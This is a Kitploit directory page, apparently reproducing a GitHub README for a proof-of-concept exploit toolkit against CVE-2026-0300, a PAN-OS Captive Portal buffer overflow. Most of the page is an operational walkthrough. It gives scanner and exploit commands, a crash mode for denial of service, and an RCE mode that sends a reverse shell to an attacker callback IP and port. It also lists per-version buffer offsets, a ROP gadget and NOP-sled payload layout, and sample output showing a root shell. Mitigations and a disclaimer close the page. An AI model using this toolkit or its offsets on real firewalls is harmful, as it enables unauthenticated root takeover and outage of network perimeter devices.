Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC-CVE-2026-0300-exploit — Palo Alto - CVE-2026-0300 漏洞利用 | Kitploit
工具/GitHubGitHub/sam00/poc-cve-2026-0300-exploit
漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用网络安全渗透测试Shellcode 生成Payload 开发二进制利用
GitHubsam00/poc-cve-2026-0300-exploit

POC-CVE-2026-0300-exploit

Palo Alto - CVE-2026-0300 漏洞利用

121个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

CVE-2026-0300 — PAN-OS User-ID 认证门户缓冲区溢出漏洞利用

严重(CVSS 9.3) — 在 Palo Alto Networks PAN-OS Captive Portal 中未认证即可远程执行代码

目录

  • 概述
  • 漏洞详情
  • 受影响版本
  • 架构图
  • 项目结构
  • 安装
  • 扫描器使用 — 逐步指南
  • 漏洞利用使用 — 逐步指南
  • 载荷设计
  • 缓解措施
  • 免责声明

概述

CVE-2026-0300 是 Palo Alto Networks PAN-OS 软件中 User-ID 认证门户(也称为 Captive Portal)服务的一个严重缓冲区溢出漏洞。未认证攻击者可通过发送特制数据包利用此漏洞,在 PA 系列和 VM 系列防火墙上以 root 权限执行任意代码。

本仓库包含一个概念验证漏洞利用工具包,包括:

  • 载荷生成器,具有特定于版本的偏移量和 x86_64 反向 Shell shellcode
  • 扫描器,用于检测易受攻击的 Captive Portal 目标
  • 漏洞利用模块,支持三种模式:检测、崩溃(拒绝服务)和完整远程代码执行

漏洞详情

字段值
CVE IDCVE-2026-0300
严重性严重
CVSS 4.09.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H)
CWECWE-787: 越界写入
CAPECCAPEC-100: 缓冲区溢出
影响未认证远程代码执行(root)
利用状态已观察到有限的野外利用

描述

于 PAN-OS 软件的 User-ID 认证门户服务中存在一个缓冲区溢出漏洞,攻击者无需认证,通过发送特制数据包即可在防火墙上以 root 权限执行任意代码。Captive Portal HTTP 服务使用固定大小的栈缓冲区解析 HTTP 头,可通过超大头值(Cookie、User-Agent、URI 或 POST 正文)导致溢出。

暴露所需配置

目标易受攻击必须同时满足以下两个条件:

  1. 启用 User-ID 认证门户 — 设备 > 用户识别 > 认证门户设置 > 启用认证门户
  2. 接口管理配置文件包含响应页面 — 附加到三层接口,且该接口位于不受信任/互联网流量可进入的区域

公告参考

  • 官方公告:https://security.paloaltonetworks.com/CVE-2026-0300
  • 最佳实践指南:https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC

受影响版本

PAN-OS 分支易受攻击版本已修复版本
10.210.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.1810.2.7-h34+
11.111.1.0–11.1.1411.1.15+
11.211.2.0–11.2.1111.2.12+
12.112.1.0–12.1.612.1.7+

不受影响:Prisma Access、Cloud NGFW、Panorama 设备。


架构图

系统架构```

┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘

root@kitploit:~
### 扫描器流程```
┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip port  │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443,8843)      │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Captive Portal   │──────────▶│ Not exposed │
│ fingerprint?     │            └─────────────┘
│ (login.esp,      │
│  User-ID, PA-,   │
│  PAN-OS, etc.)   │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract PAN-OS   │
│ version from     │
│ Server header /  │
│ response body    │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Matched ranges │
│ • SSL cert info  │
└──────────────────┘

漏洞利用流程 (RCE 模式)```

┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘

root@kitploit:~
---

## 项目结构```
POC-CVE-2026-0300-exploit/
├── payload_gen.py      # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py             # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py          # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt    # Python dependencies
└── README.md           # This file

安装```bash

Clone the repository

git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit

Install dependencies (requests is optional — raw sockets are used by default)

pip3 install -r requirements.txt

root@kitploit:~
**环境要求**:Python 3.8+,核心功能仅需标准库。`requests` 为可选。

---

## 扫描器用法 — 分步说明

该扫描器执行安全、非侵入性的检查,以识别存在漏洞的 PAN-OS Captive Portal 目标。

### 第 1 步:扫描单个目标```bash
python3 scan.py --target 192.168.1.1

The scanner will:

  • Probe common ports (443, 80, 8080, 8443, 8843)
  • Send HTTP requests and check for Captive Portal fingerprints
  • Extract PAN-OS version from Server headers and response body
  • Check if the version falls within vulnerable ranges
  • Print a color-coded report

Step 2: Scan with Specific Port```bash

python3 scan.py --target 192.168.1.1 --port 443

root@kitploit:~
### 第 3 步:从文件扫描多个目标

创建一个文件 `targets.txt`,每行一个目标:```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored

No input content was provided to translate.```bash python3 scan.py --targets targets.txt

root@kitploit:~
### 步骤 4:将结果保存为 JSON```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json

扫描器输出示例```

==================================================================== CVE-2026-0300 VULNERABILITY SCANNER PAN-OS User-ID Authentication Portal Buffer Overflow

Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE

─ Port 443 ─ HTTP Status: 200 PAN-OS Version: 11.2.7 Vulnerable: True Fingerprints: login.esp, userId, Authentication Portal, PAN-OS SSL Subject: {'commonName': 'firewall.example.com'}

root@kitploit:~
### 扫描器检测内容

| 指标 | 方法 |
|-----------|--------|
| 暴露的强制门户 | HTTP 指纹匹配(login.esp、User-ID、PA-、PAN-OS 模式) |
| PAN-OS 版本 | 服务器标头解析、响应体正则表达式提取 |
| 易受攻击的版本 | 与 CVE-2026-0300 受影响版本范围进行比较 |
| SSL 证书 | 证书主体/颁发者用于目标识别 |

---

## 漏洞利用用法 — 分步操作

该漏洞利用支持三种强度递增的模式。

### 模式 1:检测(安全、非侵入式)

发送一个适度超大的标头,并将响应与正常请求进行比较。不会使服务崩溃。```bash
python3 exploit.py --target 192.168.1.1 --mode detect

它的作用:

  • 发送一个 4KB 的 Cookie 头(超大但未武器化)
  • 发送一个正常请求用于基线比较
  • 报告目标是否对超大输入做出不同响应
  • 如果响应不同,则指示可能存在漏洞

模式 2:崩溃(DoS 验证)

发送一个带有无效返回地址(0x41414141)的缓冲区溢出负载,以使 Captive Portal 服务崩溃。```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7

root@kitploit:~
**What it does**:
- 生成特定版本的溢出载荷
- 用 0x4141414141414141 覆盖返回地址
- 通过选定的溢出向量发送(默认:Cookie 头)
- 使用后续请求验证服务是否崩溃
- 报告载荷发送后服务是否宕机

**Options**:
- `--vector cookie|ua|uri|post` — 选择溢出向量(默认:cookie)
- `--http` — 使用 HTTP 代替 HTTPS

### 模式 3:完整 RCE(反弹 Shell)

发送带有反弹 Shell 载荷的缓冲区溢出。启动监听器以接收回调。```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
    --version 11.2.7 \
    --callback-ip 10.0.0.1 \
    --callback-port 4444

功能:

  • 生成载荷:填充 + ROP gadget (jmp rsp) + NOP sled + 反向 shell shellcode
  • 在回调 IP:port 上启动 TCP 监听器
  • 向目标发送武器化 HTTP 请求
  • 等待反向 shell 回调
  • 收到连接即报告成功

必需参数:

  • --version — 目标 PAN-OS 版本(决定缓冲区偏移和 ROP gadget)
  • --callback-ip — 您的 IP 地址(必须可从目标访问)
  • --callback-port — 反向 shell 回调端口(默认: 4444)

可选参数:

  • --vector cookie|ua|uri|post — 溢出向量(默认: cookie)
  • --nop-sled 128 — NOP sled 大小(字节)(默认: 128)
  • --timeout 30 — 连接和监听器超时时间(秒)
  • --http — 使用 HTTP 而非 HTTPS
  • --json report.json — 将漏洞利用报告保存为 JSON

漏洞利用输出示例(RCE)```

[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!

==================================================================== CVE-2026-0300 EXPLOIT REPORT PAN-OS User-ID Authentication Portal Buffer Overflow

Mode: RCE Target: 192.168.1.1:443 Version: 11.2.7 Vector: cookie Callback: 10.0.0.1:4444 Shell: RECEIVED From: 192.168.1.1:54321

root@kitploit:~
### 支持的版本与攻击向量

**版本**(含各版本特定的缓冲区偏移):

| 版本 | 缓冲区偏移 | ROP Gadget | 默认向量 |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |

**攻击向量**:

| 向量 | 头/位置 | 描述 |
|--------|----------------|-------------|
| `cookie` | Cookie 头 | Cookie 值过大导致溢出 |
| `ua` | User-Agent 头 | User-Agent 值过大导致溢出 |
| `uri` | 请求 URI 路径 | URI 路径过长导致溢出 |
| `post` | POST 请求体 | POST 表单数据过大导致溢出 |

---

## Payload 设计

### 缓冲区溢出布局```
┌─────────────────────────────────────────────────────────────────┐
│  HTTP Header Value (Cookie / User-Agent / URI / POST body)     │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│  Padding │  Saved   │  ROP     │  NOP     │  Shellcode         │
│  (to     │  Frame   │  Gadget  │  Sled    │  (reverse shell)   │
│  offset) │  Pointer │  (jmp    │  (\x90   │                    │
│          │  (8 B)   │  rsp)    │  * N)    │                    │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
           ↑                     ↑
           Buffer overflow       Return address overwritten
           overwrites here       with jmp rsp gadget

Shellcode

该漏洞利用程序使用位置无关的 x86_64 Linux shellcode,其功能如下:

  1. 创建一个 TCP 套接字(socket(AF_INET, SOCK_STREAM, 0))
  2. 反向连接到攻击者的 IP:port(connect())
  3. 将 stdin/stdout/stderr 重定向到套接字(dup2())
  4. 生成一个 shell(execve("/bin/sh", NULL, NULL))

shellcode 总大小:约 184 字节,包含 syscall 指令(\x0f\x05)。


缓解措施

立即行动

  1. 限制访问 User-ID 认证门户 — 仅限受信任的内部 IP 地址
  2. 在不受信任的接口上禁用响应页面(Network > Interface > Advanced > Management Interface Profile)
  3. 如果不需要,禁用认证门户(Device > User Identification > Authentication Portal Settings)
  4. 升级 PAN-OS 到已修复版本

已修复版本

  • PAN-OS 10.2: 10.2.7-h34 及更高版本
  • PAN-OS 11.1: 11.1.15 及更高版本
  • PAN-OS 11.2: 11.2.12 及更高版本
  • PAN-OS 12.1: 12.1.7 及更高版本

免责声明

本工具仅供授权的安全测试和教育目的使用。仅可对您拥有或已获得明确书面许可的系统进行测试。未经授权对生产系统使用本工具属于违法行为,并可能违反计算机欺诈和滥用法律。

作者不对该工具的滥用承担任何责任。请始终遵循负责任披露实践,并遵守适用的法律法规。

下载工具